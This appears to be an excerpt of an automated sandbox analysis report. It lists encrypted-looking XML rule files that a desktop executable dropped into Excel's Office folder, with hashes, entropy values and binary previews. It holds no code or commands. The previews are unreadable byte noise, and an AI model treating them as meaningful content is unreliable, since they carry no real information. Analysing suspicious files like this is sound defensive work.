Preview:	<?xml%.....d....~Kve.%.........H/.#.(Z.{.v....H1H.d..."a.T&L5......_.B5.q=..\.G.=.3...v.b``.z,.ZA.a......P...?....\|.N.!z..7...}%_d...jNz....Al...b;"^..f....7......p.R.+g.%s.....e.. Gt.O...7=.....!..R)..~..",..)..\|..u.......Q[..I(..H...m....A[k..>..1.c%..2D..'.l.-.5.3.oJ..._.......1......m&.nsb.d:.wWL.'Xw..Q8./...J%.2N...N...I.#..jQb.....Z.q.'.....LB.R.....\|...).r)......7[...4&F..Y.O..,..ax......wh.k.XI.#.....Y;Y^".aV...J.....%8....w..Ts..(S...-..G.~Y...(.n..J..V.dJ.4h3...].......^.?.. M./...].b....iOC..U...bK...}...<X....e.,...3.<0..l..s....iJ.7.D,P..ulVV.,2......?g~<Y.m.......i..5r.........i...Y.....Q@...G ....+..v.R9..f......d.....qw.[.$).....QkIL.h"~w.......`.....$#....N........N.Ab]/.&...0?S+M....h..; K.).1.s>u..tE..]D]....H.B...M'..c+... O...k...;.[G....w..:..%a'.-........{D......V9&.(..{....l..{....+OJ........C...8<..\...n.g..X..TUx...<I..L.L...![.p&.....{#R.20.?=w..UX...SNJ..O......l._.?.8p\|P.j...$.].\|.........1}qA.*..J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224084v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1146
Entropy (8bit):	7.799700698489691
Encrypted:	false
SSDEEP:	24:h2iLMJoCxLq8HFCbNu2iFGlZdFFCbW3abFY4R0l5bOL+yXq8uWbD:h2iLMqCxexbN/iwlZ7Qbg4R0bbOLzXFX
MD5:	441AD2DC60B5C1BDDA6C13C682C6777D
SHA1:	FE0830A97D368B029488C51C2AA2DD8C89053457
SHA-256:	71EB7FE6ACB7FF0FBB31A4A060349BD22DBB7D580DF8AF1860A956EB9A4C81FC
SHA-512:	B966F08E1792E2FABC63798A4C07ACF55497A53AD6A8C401820A02FAF1D825859429093CB9F21817AF4621F7219BC72880CAC5BCE106B8745B1B8970241114EC
Malicious:	false
Preview:	<?xml.1.5Y.\|...h{.y.#>...td.....y....X..#b;.8...5Ox#x.c.}.......$.k.\.....9..V..f...l6+w...f.U...........D..U.~...8......D......\|.].<.....sC8Yv..x..H.._.....s5..-$..{....l5bJ8....>x......].v._.4t.w........22.,,.c,.f<..n..hg..2.a}#Hz....4.W3X^....4.F....a..b..Z......aX..DZ....\..}C.+m:..%.E..[..6.~y.bK&.!. .>kc.Q...!.d....k.\|....'.._..?.(.o%.z{...fb........D`!y.....5....,..)k$..Dp.g..<5h\.$O..aO..J...$..L..O..M..s...joE.W..v..[.`.-.y.s@;..B.#..@.L.M.ihJ.vk.g!..<H9.+1...J[.Vzz...g..{...?.<J....l...............:j4.....YK..O}.k..Wy{..<u.hC...B...~.,..t.d......\v`..M~...+....5 .#...9r.\...1..V..H..._...qh.;.k'.b....7,..H$tZ.@...m.j......-..../.q.Q...g.1.K.l.^....^....,nX!..O.M...5..*.G".).J.......H7/.q..............6....b...Z@..2K.....-7{..is......7..v..6.....V..H....d..Pa.m.a]..4....8...5......3.B.e.....~l.@.q..X..t..]D.._...C.......h...-.{TA...'..&.S...b.&.......))..e..Ow.&..{...i_&.2]....{6..].._H.+.\...b6.LXd=...$.f<d.8..x.Z3`..q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224085v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2797
Entropy (8bit):	7.938329450368975
Encrypted:	false
SSDEEP:	48:fmAOdp07O97LH2bkdFSuBtznjTsk5PhOn6zRNcS67tBNPFxlXmeXFuED:nOBSWS0tzfsk5ZOnM6LNNO8FuQ
MD5:	3F4CCB40E5DD5DAC8E0DBF386DE66524
SHA1:	E68585CAD4A9C5CEB948DBB6AAC982B34324DFD9
SHA-256:	390F4F9154C3542B83F4292DE53EB5D4B67CBA97A076CA721062B43434C0490D
SHA-512:	56C5F66FD318553195FDBA914CFE24E150D31BF1CEAE368AA67AF19E068212786A769302688469904B795AB58AD3D7AE1EB246A1D3837C8DDAC89E8014F4F649
Malicious:	false
Preview:	<?xml.B..%S..?.r.b...WY.t.O........7I.Xjx... .e..I.^.....}.0G.l;.xp.....s8.L.n.S.8NPBr.4....-...z^.;..Y.)HI.....&.. .../.3..<...W.~.ZC....n....9^1...0...O2[.zAT...M:..&.1=TO/.Td..n......}>....[.....d......-..p../........y..g..jd.X.&lS2K...{..%..G....Q....X=..f.sPJYU+.-o.h.....`.......}.8..a]..G.......24....wJ..W.."./B...i.o.).1..h.5[.z.,_.{..f...J.....bI.....{.n.....G..............}{#.t.k...k:.t~.j.8.......D.O@A)[...J...........x.A.>....,.,.J..m..d5.q.rU..J...,f}......K..X..@."....Iz...{0G.I..%..w......."D.P_....".....!...l..&s.....HG.F.@H.:,$2o.9..;.m!...P..w;..._-...\..=.....$....m..C.;...!c>...x.k..+]...Y......p.....u....ad..Bi..j..l.....>sp....HYeK...........a..Q.^V`>t.3.w.....N/v.~L..uZ.X.....#..m..s..].<......p'j.8.n.\|....4.6.+....)....wj...A.....R.>t.U....:t...].l?y..7=D.G.K.1.Ixb..z.3.0.^J..{..i."..HJ.#...}...O3Gy.64..D...,..T....[J....e.$I.I...............A.0ua..-...G.y.)../~7.).I+...3;..T....1 .D.X...y..7...>.......AH..T.>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224086v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2255
Entropy (8bit):	7.914335554186683
Encrypted:	false
SSDEEP:	48:hxiDDJub4fWPsl3g0YhYTIG6Qz9G4y2TD3TRemskh/lYUW6PL9A/ig008ow/xXFX:hx6YsWPylYe8/Qz9G4y2TD3lemsK/Cij
MD5:	EE01BEB9E0A6567398E380B6EFBE7BF0
SHA1:	9B7CADE921E03358745BC2C49AF06815FE3A5361
SHA-256:	0C076F196544B282130857CC9791BD463D40138E437953BFDE77A7057097B7F8
SHA-512:	36A1B824D88C471F7C962788EBDF69B6565F391600C99690A507CE9AA825F026BF22AAA479F1FA5D0FCD4332C32E75E97230C504668247DB84C62A50353F8D02
Malicious:	false
Preview:	<?xml>GO.3..uF....Fg..]....[..V.e..pk.N.}.0.....\ZIK.q...Y.KG+2-.K..e5.%....6U.....C.I.M.B?.E..I..,U:.u...a^.R..K.zbR..R.5...uI..K.a....A.......K..t!.wR..8......OC..=..v....aKY.Xo...O=i..`..'s.........2..".q<....c..Q(Y........3..cTC.xp}9z.,..[.-)F..3...w....3.2..+p.b..s.:T.B..uX..\.I"......dHvdA.T.Ql_.q...."..`3...&.-....xI.YD.....m".,..F....(........d..i...J]...KV.p.j..p.j.............K.Xj..N.n.7..zs..@..N..S-...!.Z.`n..fV.2Zp..L?..Z...y.K...B"..^..BV.}e.Q..6.19........K9.AZ.).P...\P8l..ew}\|..d.....1T%............Q9..[.....3.....{;.v..5....Q....K.......G.?O.)..l\.....x}..a....X..ub.4.V.iV..wZ.j.Z....;........u.@.."[5..<{/..O..h...C...J..;.qa..;.^...o..\|..K.}.q.e..q..qDz/...._..K..Y_qzM.:1...U..a....G.".i>ex...:'."H;-..s...oi.P.+......=.C....V6Z..dYgG.id8._..$....7.d...Ck.A......'.\|..n.t@.My..R.K..U.'....I..U[.Mgt."..`.....a.Z`.&...M.&..\|F{....0...\...........!.B......q...A.....+..z.Pi.E...........\|;.N.\|xT....G..-.b...\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224087v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8752044641069
Encrypted:	false
SSDEEP:	48:3grt5T0sunw4OPMlrlkSBpK7EfqYgL/ERLqlHpEo7/RXFuED:3gJeg4OPINnfqYK/ERLqh75FuQ
MD5:	B9763E1500EA0838BB8D23ECE5ED8B2B
SHA1:	BA2518235914FFD883AFD2D5F5FE92257A2A10FD
SHA-256:	D208B7E2BF148D7592D1F5369B88DCED5DEDEE58BC38F25F3ACAA0BE4C2C08FF
SHA-512:	5F0D1FA2A0DBA3AD3C0EA02E9A76341880C6E1D8BF3A5960E5B3141FB00403EC1DB46DE1DE1434FEA9B6468C74026BE3A9AD9C85BBD156D02573DFC6F019576B
Malicious:	false
Preview:	<?xml....\..$....(.O:.....L...X.M$...C...gVN.8m...C..5:.?.5...W_.Op...G.Y....?...Hj.........2.....g...+.....K......`...;....W...Z.".j..._Q.....a...!>a,.s.AU.8..-.=(.t...6.u..U...(..Bt,S..b y8.3..o../-.iCM......n.X..`...E..U...v.b.K...-.....n.)@..L.8....l.5..QG}.H..V.....SPd1.Cq.......T)....l...G...;..2...8..;.4.2.....L......N..v.....-.X.z...\l.5..tU..x5B......E_..'/..m...y.......R...M....!.ax.x.....pu..y%y..Sk2.j..=.....:.:......V.....).....a$..tT.kF...Ui.......b..,..D.%..L...._.(.EaG..g.".[.r).S.r.....&.fy..o".=.i."..P-..S7J=..(?@E&....S..?.a..G8S.PB..=%+N..>......H....).b..'5...r.Ps.....g..."..h;..n.d.PQ.g.Sd..kD......#.v.L#jH....[..:`.h......(9......?Vo..?..Y4zPL........C...O.@.8..A...5...bOr.';...mJ........s.N......7.la.k.....=.!.E.6...'........\r....o.y...r.?...\!~X.T.1....k.2$b.L.......E....x...8.......0..U\|.,.$.5.~wI8.8..:.....<c.\|.[..3g.."..H.H..'uu;fC...5;x.9.U...V..&.J.......!S3..J....%..H...M..vA4.aE..eG.J.....D([9x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224900v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.718288602549799
Encrypted:	false
SSDEEP:	12:xmh7RhnLOHFsvOFtv8zpzPH6MdmVyvoyhgtueF5cmfOFTKXqOTuWcii9a:EhPn6xx8zNPH6qJhg7cmnXq8uWbD
MD5:	98D3E91340DDBD8FB7A2FB18AB5A4BF7
SHA1:	79E9BF2A7BAA877FA8992D45F3F987D3022D20A5
SHA-256:	39C7486C5052E676714FDDD242D1BB58A594B306C19AAABC54B547A55DB813E8
SHA-512:	49FC891C99BF326CEF65D02C650A92B59059104AF30E889D11E9252FA98C5C914D9F24E438D58DE02FF572193BF8B8BB487C0B3845A00A25B09F6F985BB64B48
Malicious:	false
Preview:	<?xml../.\,...f..1..0Vk.....2I;....sC.g.N.........bQgn.v..KD3...+c.~G.;.?...........-(7.5.l.X....V..<.`.....KZ(P3.....J\|..y.hzt.....,...i....A/.q.O. ......Aw..k..hs.yT.......a.#....<...N.S.W.s....1."....~......)...S....Q...\|.5w4R...>A) .T.6AHA..s;.z.....r#O.Bq...(.y..fn-$.<y...fU..67../Nu.T?..)...$>..i.,z.A..gHB.......$..+LtKf..'..o.NT..........T}..,.s. .L.=.d.y..;..5.-eL&....a@~.`.Z......`...K@../%...f.._.Mt..M.....c.df.....#..t...B.^.%e.@:G...F..7.j#S. ..0..c..B...a...s..%b[......2B.,..e.).-......\|...v......c.^3....C..~.9.D.G..:..XW...-.n..L...............s.@b.j..y.....N..]..T/..Z.-.pt.Rd...:t.7.O...k...N...W..7.f..&TU^..=......3.P>0.I H..4.=..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224901v11.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2617
Entropy (8bit):	7.931170754422572
Encrypted:	false
SSDEEP:	48:l9+A3a0Dfwxp8CW/7p02ROhRdVKLip6hMcyt3i6N4AP7K6yZc6VXFuED:uAFzwx2/7pJROhRdVqFrjgfP7XyNFuQ
MD5:	C3A3BAC21E50346DEDCEA606BBC1A7E1
SHA1:	8762A9DB464EDCFE7E2B2D537164FF3158F5FDF2
SHA-256:	7DFDD55A7327E0E8513F1BCB965580C72F4BA9D94DF38DB86B07216430DA41D6
SHA-512:	D3580F1A04710BD78BEB1492ECC37FF91C91687142A97B10856097BF89CE180189243E60873474154A7B2CBB469F0D0EEF01EDAF884FAB274DEAFC9BE9CC5835
Malicious:	false
Preview:	<?xml.g...0..;..V........P.gW[3...F.....6.....)~.1......z.C.1........OB...n....@.t"^%T...!....'.N....b..$.(.....w.&.FKG.[&.r..P.#..]p.8...g8e..z....=..@..K..9Lo....\|^.H.S.<b....)..X...?._.i.J..(..pr...utj>7....]....S.i.U..4.f0W...K&..!==..........P.$.3..[;.U..D..P.?..^..w.N...7Mj..g....".w.......}.........?..J..{3.../..0.n1\| .Q.[8.....@..S.#x.........,......+gq.z.g.i.mDY'................P.&..z8....P... ....eA...n..l.x....dhR.L'>....k...[..a..1F.A..pL.;...ro..).;.y.v=.....N...,......A&.0[..O"...G.!.(T...yi.......86.......^..o...pvVmku....=R,..(.~W&...O......n.[.A.r.oR/..~..;...LY:..J..:....a.c.....p..Q...p6.r.3.../!....)U..u....{..d7.Y.8#h..%.Yk.....1...n.. ....d..Y.v.d.!'..y.-..q%"F ..t.u....l...<.t.I...............q....4..R.QY..!X.)....... .........TaLan....y..[.]..#.Dh..v.0=&...y........H.>..._B.NN...?K....h.Y@......Q....T.D.e.R.$.D..?....2Pw.{....\|..7..../Ey.....>j...39.....,.w....]{Wb.l...<..=?o.uG5.C.5...\E.;.Y9V..z.\v....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224902v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.7047455851174975
Encrypted:	false
SSDEEP:	24:43cS9txSul51YpQhQKblpf3XUi2RQQJUXq8uWbD:er9txSul51YShQKfPEi2BJUXFuED
MD5:	4A88C35E8016F4624683ECBDED1E7CB7
SHA1:	50CBBA70269275A41ED42C330EB6F1CF5D5EA3D5
SHA-256:	33F6FF404DAE69FE795EAD575D0C89C8CF94A4EBC1BF9A4285DB775B6EF22EB3
SHA-512:	5B59274BA6183A51E06A97A15BB54575ECC38D6953FF980D68289F8FB6FACCAC808674217FEE0AF731E5A0C9F33731148A17865A53488E3B63DBAA0EFF43C4A6
Malicious:	false
Preview:	<?xml..uF.. ..4..^.b..)...@j......l....R...~..).N......s..G...O.Y...H...!.';.jr..<Q....u.Jv5Pw'IY.d&..?....&.4a......=...7....?...`..J.;..7....a.UyrzcAO.c3d.r.....2..8..B..\../....(....c\|..ai..^..A....\|(...:..N...h..sN..^.%h...;...8.......T?....U........7c.X.n.T.>....I:J...5.7q..:uf_LjM2h"..fI.....2.K...B.t.z...G..w..c..}.\|..c.=.T...G....B.f$...>..V.....J@.]......%L}...T..C....%...x.(Yf.'...........y2..t.6a.p2T.f7.C..Q.t...Y.=.nW..UXG...N....AM^.<..../...I.l6.mOM=.Am...A.N.a.<.+..w...y..J.}..p\|.o...C.&ZC..,...!q8.......\|...r.\......<q.,..P...u......2ll....3.6...U.......z...cZ....D.SO..Yg:......V..X.g..Y.^.o.......1..bdm.....VAp...F....c\|..m....\~c.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224903v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3546
Entropy (8bit):	7.957114152735295
Encrypted:	false
SSDEEP:	96:ZiWFerQan810UtsrIk/2ZMkOANpMRXqFuQ:ZP+QKt0CueBQ
MD5:	F0A7D0F28B771D2C303216EDB7C82E1D
SHA1:	4A6F8CCAA225DFDFD40B86B000132545D06C8345
SHA-256:	C229E90E2CBB226CE04641701AAF5FC596B0000B2AE647A9CB77B55748346473
SHA-512:	F864FFCA3C49947341E9522584D06EC6A661EF848D88D6A7B94CF03D4028A3227E8BD3CB46BF4D5CD534C49BF0029C55171E6C1EA85ABC9652C6E1706FFA89BE
Malicious:	false
Preview:	<?xml_.V.....o.l.%.r.^.1.s../NB.6X.$.-........./m)..6..-9[...!".~:.Y. .vP...r.>..t..[.8..r...X..).....'.2...g;n.{.!.m. H....2.Sx..3...v....6..8];....f.#...c.D0..$....}x.2@.\|..Y..D/...W]..@ab.e.w'..-dc.........d.z6>.t.Ao...W.].._%.2.?..D.....q...T.5.?_......qK...s...<...O..V.`9.c1{......b..-.O.Bb..}.l......bqk.z.....Y.....Q.-..vm..%....S.%....j.\|.....B(58..........=...:'Oi5.L#......3.Df]q...&q....hS?U\.EQ.j.~.m..R(..[~W..........\|KN...........\|.[..`.BNH{K.K...+v...J..E....$.C.[FbK.2..0R]g....I.Z1..gf?.o...C....,.'.=.FE....&6...%..;.S)Q.........P....;G.l.~...8D..~...z.u...E.K..y.yq...)..<.{........B.....<...B%..T.fc+.4:...6R.R.~,.tCl..u7.\a....6.N.._.(D.C...D.w..,.th.r..M`wr......s.<.@..qP..\.;.j"`Jm.g.T^.....i.V..1m.T...2.b........"#....,..f.m...<R..6..qA...W...Y.s.;.[29...d...Y..j. b.\|.L*.@Az..O..a.fj~..X..D%..\.c.v$F+.i..<...........5.,2.....x]P...!\|f.e~.U....qE\|..N..n...pL..\|...4f....0.t;.{...k^R.P^..A.o5...tW....2i..p#.F..O..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224906v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4900
Entropy (8bit):	7.963411728987459
Encrypted:	false
SSDEEP:	96:ogeqMS+ovV9De3d3Vb6bI53y+pSV+haoNmAvq+6nk7aXiGjBFuQ:odqMSzvHI3V2a3NSVXI9vq+6nEWyQ
MD5:	2EC393879FCA350CF01410C2ED758107
SHA1:	5EE8DDDCCAEFC3680287A2C8F0856987F8F20569
SHA-256:	47562274B31EB38BBB4452ADE90A8F28A722A82CE168339F7997ED33E1D329E8
SHA-512:	12E7ABD3965D783F0177E1BF5E793B778301F88D3F4CB83C73D31C3B180B41F0CDB6BC26D6473AB89B9FF8045338A6669A6979989861ECED17844DB7CD6682D7
Malicious:	false
Preview:	<?xml.0ty..K79.3IK.+.;.V.2...R.K..(.O...`}..A.)z...s..i.#=.%.WZ...b4..n.f..^.y.....G.d....w_..,..E...<.9.'v......d.G.....x_wY.K.>+q.A..HL$pt..r..B4a.,..r..33.XN......I.AW..".P.vy..b..-.>5.//`.~..5k.{.a......zb..X..+..i.....x.e.]..`J._.=:...-_..).@P...-.=......U.;...v.AD.k......%.....+.......H..{OY..ks.. ....'..(2C...&736..W....CV..F<...~.M].+.N..."HS9......r...S.T.....v3...!...H...3........B!...............x\|!V?....))>`x.r.q.d.2.'..P.q..l.v.5B...D..$`.a..K.q..f...1.xO...Z.SI..U..........w....t....7.Z.1...aj]...s..m.c..S2..(..>7.............N..w......N.1.7.xcs...N..-3.fb+..E6M..G)...m...J..h....2^.L..d-.......g..I...[<....[.'..b.WB.Y.u...5.[...$c.!.7.B.Q..A.m..1.3K...-%c.9.......E4J..s.#..@g`.{...O.J<.&.Iw.85..@.Q...=.^_~.Ze3.vp..r.hA.o.].e..%{...4k>.C.=..=...@.+..N.j."..@[O."Fk.....o...5;...UO.Mg.o..,..lY..)U..>"gP9..rnQn...U">V..W%.t.{,.y~T..pw...(c....lzx.X......W.t........C.l.$....m=....V[.q..\|H.,.12....^.I......#.1..wd=..\|..uY......)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224910v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	7.714964773851759
Encrypted:	false
SSDEEP:	24:tjm2ygXfFT6tU3gYPAtEM5zjAxGX1fXq8uWbD:tjPyg8tUQYPAW4MGXZXFuED
MD5:	758533FA213CD9030AAF433F91F2EE70
SHA1:	DBA35C4D0A4682A6F72D9CC97ED452048915DB7A
SHA-256:	34C146BC5EA49FE2A1A1695CD8802909B6EDF5F550422BF37C0A611310300BBB
SHA-512:	2276CC68EDA5936A9EEF99DE8065F81927510D585649E3DEAD123B36CF596171F4E1EEFE4AD13411C6017FC916BD34197AD3DE4AFECC74E910A350556A46A1AE
Malicious:	false
Preview:	<?xml.~n>#v.EaVv..Z.v6E...Q........@....f.+S@..<`..k........P/.an{.k..<....s.-.?o..M.e5o.w..\|..."....x..-..B...N..sP....~..z.....U."ZZ.......o.f...v2#...Y/.......e.<o.._.z).K.s..H..7/..JC,..C.8.R........ro...,D.RT..s;..Y,N<......0...E.:GZ...iMK~.._...N..Cx.......Wf..%..2...F...t.c..\..J.R..a[.......60o]Fg.R.^Q=.8.....po/.U<TR.Y..].h]>... 0.5o.,z..w.]..R.#..G'...g=..2..M.b..'..mTh$.+.!.,.~.+&N2...J...7..?..\.n....p..,.p.v..y..\....4......9J.j....Y....A.....+\|l..q..6K.A.Z.r../..\|..l<..].`T.@...m..j..N...dP.a......!.5.....K..w@../.\|m.^..j...Eud.:........\|...^G.<...*.',in..]GJ....t.F......~..6.}..y..f.%.5.f.?.+../u..4.T...n.>.G'yQ..4t........]..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226000v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1457
Entropy (8bit):	7.851511448334779
Encrypted:	false
SSDEEP:	24:cTpuMjil6vlcfRPAjJfCArE5LbQaxN3TrEw0uCfNcw/jD58keoyvJf2PhWRDtXAe:01uYtcfVAtJryLJfHxl1wLDtevvVkyDD
MD5:	05B69B48ED3301861FA81D087FC5E525
SHA1:	47656027D4D0768805C257E4989FB05F50ABB83B
SHA-256:	5F4F3AFA82A8098AEEB68CF72EAAEA14002EDA3F62A4ED1DD0851B04BF677EE7
SHA-512:	0C8E47E98ACA4C7ECAE5DA4A3A066B243C58A4689C6E2B73B18312F046D1FBED6CBA54D49454F3552A897F2BB905E6DCA2277A7669EA71231AD82651A1869056
Malicious:	false
Preview:	<?xml.......4u..i.......gJ..^..M..>4...A...+.LH.....?.Og.....z..X.[l...=.b.i.W.......~vN.....)-.....lc.d.%m........Y.rHm=Eg.kH.j....t.Q.+....=_O./`..'S...8.r:...yr.pK.e......[.d8.5VB.....+C`...N.\|....Q{..#..\.<.........x....v..:._._.\|.h.9<.I,.yb..M.w?..(.m.K.2....X.9...>O.u.u.......#@W[.1.Z..r.wzk.J..{Z.4.1.bU>......g....1.2T.. HS.$..y......Vb..:.31[...2Ro..j..6..0..JP.V..g..1.r5.[..H...4.....d.sY>=..Lj..m].^'Y.....e..J..{..$Z.J...+K.[/m@..1.........T..+r....JP..F.69D..6.F.%.kx..z.(2.$Z..5..~..pQ.~.}......:.O.B.t.n..4.t.L.G....pA.'.[..Q+AdZ......d.......A.5U.....G.9,.E.[.4.}`..}a;.T..F.....qN...q&}v...l.r....v..6.c..<.IPi.k...rOd9.7.q..d..Ra.@...-.{{.......k...W.tY..4+......E..+..k.52.{.N...v..E.AxH...U...z..]hE`.!(o....Ma..P..o.g.=..H..x..5.V.b..........L...T...#^...... .k..3..DJ...]r..L@c#.[?.+xcZ\|...r...l......-Gt..,V...T...>..HX.+#eW..q@ ...Z......3.....N.y...h\..o(+..0.d..T.e........0.Y.f..Z)..u'y."w...H.u).`VS^t._.s..J~y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226003v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.79453332212997
Encrypted:	false
SSDEEP:	24:43BixjNq2vzAIrdm/QMtHMsDqw7n/JXq8uWbD:OBqNqI18/QQLDqshXFuED
MD5:	23F79D2B192B3B30860726D3C3EB1FB1
SHA1:	6F9AB9542FC0618E4647A1B601A00DC767BEC7BD
SHA-256:	ABD29DCFC0972E195DEF0033E5E99A317F967C39C7AF330267046384BEFFD8A7
SHA-512:	DDDF869AD796C2D0652A34E64249F310D0D9C18A60B24AEECBFCADE9315473D865F8513DAC3DC069CB349F47B4AB61885FA00B6E883176C67479F394CEBAE87F
Malicious:	false
Preview:	<?xml..p..h...86.".>..........\|D....g..=VY.H......~$J......p....g....z........#.;.....A...U.Uy.......2.?.......t.J\|...M....k...........T.iK.PV..A.RaZMW..y]...UCN.....9I.!..b......H...h....-.b%w.(.FZ.Yz)W..q.b..V>]..5....E..L.....hXu.%j..."...n............t<?.~7.O..1`..!_.['..=...\|;..\.Eu...%...[......w...u!.T.Y..-.-4...+H.q2B.8...0..c.n..?.e..5....r\m........@.b.v....P.v.>$."L.<.)..Pr.H..P.!..#.....,..'].[.E.....x.}.'.D..".n..m.>o.Ja.#c.F..^,./6w.b1)...[......&5"`I.....dp..G...ul...&....y.... AAb..>.\|SL....}......(x.....2..1.!k.>.%n.4.Zk0...k.*..Q..]..@Ak...,\..aw;.....o.i9....F...,.L...z@.t..\..,C..0\|$P..j....e6O....jm@.@.p..{..f.U_.1W. ........^}b....?..=...1.O..{../...._g..Ys...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule226009v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	859
Entropy (8bit):	7.731190662567046
Encrypted:	false
SSDEEP:	24:EtggUvBm8Vq76k9ZfZChjRUPWQ/iijAXq8uWbD:sVkxVM6k9ZoRU+QaUAXFuED
MD5:	6AFF4CE4DFFD2D61B830D63E824488F0
SHA1:	AF336C323F974AA17ADAFFA65A07A35D55B248C9
SHA-256:	18589E91F28CF48A7DCBE5D3C656ECEF245393513C1DBFB00DB7890EBB73C641
SHA-512:	AFD555ED4A3FF3B02F758A1B8AD21673735A48E3A29EFBA6A05360BDEB92FB7993E5175EE3584583E50A9A7801BF584773E2FBC6C4151CFB04A100AD760BEFD8
Malicious:	false
Preview:	<?xmlO..f..Z.._..j.i.@1..{.=e.r.G.=B.T..m9'.....(..q.O.......g...8i..w.T....E7..#..VK.V.....T...8.Z.~.b...=....5..B...?.`.....Q...L...j..dbO)...=3.p.d.j. 7Il..j^.L..z.vl...6h.{...k....-....l.3.....E\W.{....sq..h....w.E...}....R.........r.... .j.[.."Q..f.Q.4...*..E.r"..#.:Z..!.X...Z....\.7..i....C_..1\RU..o...p.]..[y...+U...G...Y.j?...Fs....s`J....T;.8_.d.j....W+jN..z.r..s cAT$.ej...3+....]O^ ..L.>......\|.\T.A..4..?!...[(..K....$.......,......Ks.... +z...n..L.....}(...v. u.NcS......;..3..(r...Z..F3..H.;.Y..{je'.S..8......1\|O.Y.H8._4..ht.q.m.$!...0..xV..0....pI.Q.{.2...Rmb...o....B.S...S.:.J\..2..3....H3Y.P.....d..%...=.n.\..Y.#..:I.<..^...a.A_...n....S....#I..~..T....L.tR......p..7...}..eH"...wdc.[...x..A...J07..G..!.z..#.X....l.5...;#......=jd."doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule230161v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	7.737685481870526
Encrypted:	false
SSDEEP:	24:25/xAv1KoDVEToLdU00/ni4x+qv57bQR4e4QfHbvXq8uWbD:MJAPkoLdU00/ni40EbNPMjXFuED
MD5:	F5BA326BA5637F383D258788DCB1AE66
SHA1:	5F284D089EA2A884AF0592848FB61B3511869C54
SHA-256:	7E528CCA814760FC67EE131264D3E8055ADA925A75CECA941425C339568F28C9
SHA-512:	9C9F92CE41BED1B39D97E3E17D4EAE1667093FB7A94F546C303D5D3F4B55B408DF1D7D0B46F98A1C3A3973965783B5A30C07932B2095CE830D5730C3DC6EFD36
Malicious:	false
Preview:	<?xml..b........<m]-.2{.v.0.A]h....e..r..T}..H..4....."aop].Yi.O.w./.Fw/w.x-(..z.vt...+~.%....(.E...o....ht...@.d.m6L..'.{.\[.......}..OT......t<.k..CcVt.d..<...=K..e.2e...I.z".,.....H.67.l.q{.;..&Fh...=&\|[..7UY...1.aK...E....._K0.3..F......w.....s..~1..?.../.8...sZ......4IY...n..?.gde..L.....".b..Jj..(.II...r.0......VO$..$...o.....>`K.jKy^.R.....@...#..Egw....4/."..'...=[T....B...~+...6...~...@.G./.vW.).;`.^.L).R......G.q......;.b.....wc.p...m;......Z..Z.>...W.'.Pgu._@......?x).n........F...K..!....v.m.T.N.G.....t....v....G...V9t...H..d...UM.F...3.jZ.^,.(.J.....J.c..z..bh.y...e.....q...d@..W..r...ZH.`............d}...~.....wF^.%........]E\.F...G.}w.f...p.tM.'x#..+.8&6..]).`....r.\|.n.c.k._VC..Gm..h;..l....^...{;..P.....>.#E#..u.}.w.....2.)I.......G.C$.~$./'.".R.>.........u........G....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B